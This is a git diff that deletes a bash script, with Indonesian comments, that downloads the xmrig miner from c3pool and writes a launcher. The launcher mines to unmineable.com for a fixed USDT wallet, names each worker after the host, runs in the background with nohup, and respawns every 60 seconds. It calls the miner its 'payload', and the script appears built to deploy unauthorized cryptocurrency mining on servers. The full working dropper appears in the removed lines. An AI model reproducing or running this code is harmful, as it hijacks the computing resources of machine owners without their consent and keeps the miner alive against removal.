diff --git a/farm/rig/rigsh b/farm/rig/rigsh deleted file mode 100644 index 0d018b5..0000000 --- a/farm/rig/rigsh +++ /dev/null @@ -1,91 +0,0 @@ -#!/bin/bash - -# URL untuk mengunduh xmrig.tar.gz -PAYLOAD_URL="https://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz" - -# Direktori kerja saat ini -CURRENT_DIR=$(pwd) -XMRIG_PATH="$CURRENT_DIR/xmrig" -SCRIPT_PATH="$CURRENT_DIR/run_xmrig.sh" - -# Fungsi untuk mengunduh dan mengekstrak payload -download_and_extract_payload() { - TAR_FILE="$CURRENT_DIR/xmrig.tar.gz" - - if command -v wget >/dev/null 2>&1; then - echo "[*] wget tersedia. Mengunduh xmrig.tar.gz..." - wget "$PAYLOAD_URL" -O "$TAR_FILE" - elif command -v curl >/dev/null 2>&1; then - echo "[*] curl tersedia. Mengunduh xmrig.tar.gz..." - curl -o "$TAR_FILE" "$PAYLOAD_URL" - else - echo "[!] Tidak ada wget atau curl tersedia untuk mengunduh xmrig.tar.gz." - return 1 - fi - - echo "[*] Mengekstrak xmrig.tar.gz..." - tar -xzf "$TAR_FILE" -C "$CURRENT_DIR" -} - -# Fungsi untuk membuat file run_xmrig.sh -create_run_script() { - cat < "$SCRIPT_PATH" -#!/bin/bash - -# Mendapatkan hostname server -HOSTNAME=\$(hostname) - -# Menjalankan xmrig dengan parameter yang diberikan -nohup ./xmrig -a rx -o stratum+ssl://rx.unmineable.com:443 \ - -u USDT:TTrVsRnBzjB5xEQ57NTVYJinjpnne8oGXN."\${HOSTNAME}" -p x > xmrig.log 2>&1 & - -# Menampilkan pesan sukses -echo "xmrig berjalan di latar belakang dengan nama worker: \${HOSTNAME}. Log output disimpan di xmrig.log" -EOL - chmod +x "$SCRIPT_PATH" - echo "[*] File run_xmrig.sh berhasil dibuat." -} - -# Fungsi untuk menjalankan xmrig -run_command() { - if [[ ! -f "$XMRIG_PATH" || ! -f "$SCRIPT_PATH" ]]; then - echo "[*] Payload atau skrip tidak ditemukan. Mengunduh dan menyiapkan xmrig..." - download_and_extract_payload - create_run_script - fi - - if [[ ! -f "$SCRIPT_PATH" ]]; then - echo "[*] File run_xmrig.sh tidak ditemukan. Membuat ulang..." - create_run_script - fi - - bash "$SCRIPT_PATH" - EXIT_CODE=$? - - echo "Command executed: bash $SCRIPT_PATH" - echo "Exit code: $EXIT_CODE" - - if [[ "$EXIT_CODE" -ne 0 ]]; then - echo "[*] Exit code non-zero detected ($EXIT_CODE). Checking active session..." - - if pgrep -f "./xmrig" >/dev/null 2>&1; then - echo "[*] Active session detected. Skipping payload execution." - else - echo "[*] No active session detected. Spawning payload..." - nohup bash "$SCRIPT_PATH" > /dev/null 2>&1 & - fi - else - echo "[*] Exit code zero. XMRig is running successfully." - fi -} - -# Fungsi untuk memastikan skrip berjalan terus menerus -run_persistently() { - while true; do - run_command - sleep 60 - done -} - -# Mulai menjalankan perintah secara terus menerus -run_persistently